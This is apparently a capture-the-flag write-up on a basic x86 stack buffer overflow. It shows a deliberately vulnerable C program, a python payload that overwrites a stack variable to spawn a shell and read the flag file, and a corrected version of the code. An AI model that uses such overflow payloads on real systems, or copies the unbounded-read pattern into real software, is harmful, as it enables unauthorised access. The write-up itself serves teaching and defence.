



## ELF x86 - Stack buffer overflow basic 1

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### 1 Search vulnerability

Let's firstly read the source code of our program.

```
1  ..
2  int main()
3  {
4
5      int var;
6      int check = 0x04030201;
7      char buf[40];
8
9      fgets(buf,45,stdin);
10
11     printf("\n[buf]: %s\n", buf);
12     printf("[check] %p\n", check);
13
14     if ((check != 0x04030201) && (check != 0xdeadbeef))
15         printf ("\nYou are on the right way!\n");
16
17     if (check == 0xdeadbeef)
18     {
19         printf("Yeah dude! You win!\nOpening your shell...\n");
20         setreuid(geteuid(), geteuid());
21         system("/bin/bash");
22         printf("Shell closed! Bye.\n");
23     }
24     return 0;
25 }
```

We notice that :

- \* If the value of variable **check** becomes **0xdeadbeef**, we get a shell. This is clearly our goal.
- \* *fgets* reads 45 characters from stdin and put it in **buf** while **buf** size is 40. So this is vulnerable to **buffer overflow** attack.
- \* As we have a stack, the overflow on **buf** can change the value of **check**.

Let's draw the stack. In assembly code of main , we can see :

```
1 lea    -0x44(%ebp),%eax    // ebp-0x44 is the offset of 'buf'
2 ..
3 cml    $0xdeadbeef,-0x1c(%ebp) // ebp-0x1c is the offset of 'check'
```

So the stack looks like :

```
Highest Address
-----
|                                     |
|                                     |
|                                     |
|                                     |
| check (4 bytes) |
|-----|
|                                     |
|                                     |
| buf (40 bytes) |
|-----|
|                                     |
|                                     |
|                                     |
|                                     |
|                                     |
|-----|
Lowest Address
```

## 2 Exploit it !

Now that we correctly understood how things goes, let's run the program.

```
1 $ python -c 'print("A"*40 + "D"*4)' | ./ch13
2
3 [buf]: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADDDD
4 [check] 0x44444444
5
6 You are on the right way!
```

The value of check is indeed equal to **DDDD**(**0x44444444** in hexadecimal) as expected. Let's do another test :

```
1 $ python -c 'print("A"*40 + "ABCD")' | ./ch13
2
3 [buf]: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABCD
4 [check] 0x44434241
5
6 You are on the right way!
```

We expected check to be equal to **ABCD** but he is equal to **DCBA**. That's mean that we have a little endian architecture.

As we want that the value of check become **0xdeadbeef**, here is how we can do it :

```
1 $ python -c 'print("A"*40 + "\xef\xbe\xad\xde")' | ./ch13
2
3 [buf]: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
4 [check] 0xdeadbeef
5 Yeah dude! You win!
6 Opening your shell...
7 Shell closed! Bye.
```

To avoid that the shell open then close, we have to add **cat** command that keeps stdin open.

```
1 $ (python -c 'print("A"*40 + "\xef\xbe\xad\xde")'; cat ) | ./ch13
2
3 [buf]: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
4 [check] 0xdeadbeef
5 Yeah dude! You win!
6 Opening your shell...
7 ls -a
8 .  ..  ch13  ch13.c  .git  Makefile  .passwd  ._perms
9 cat .passwd
10 flagflagflagflagflag
11 exit
12 Shell closed! Bye.
```

### 3 How to correct it

To avoid this kind of vulnerability, we just have to make sure that we never write data in a buffer more than his capacity. Here is a fix of the program :

```
1 #define BUFFER_SIZE 40
2 ..
3 int main()
4 {
5     ..
6     char buf[BUFFER_SIZE];
7
8     fgets(buf, BUFFER_SIZE, stdin);
9
10    ..
11 }
```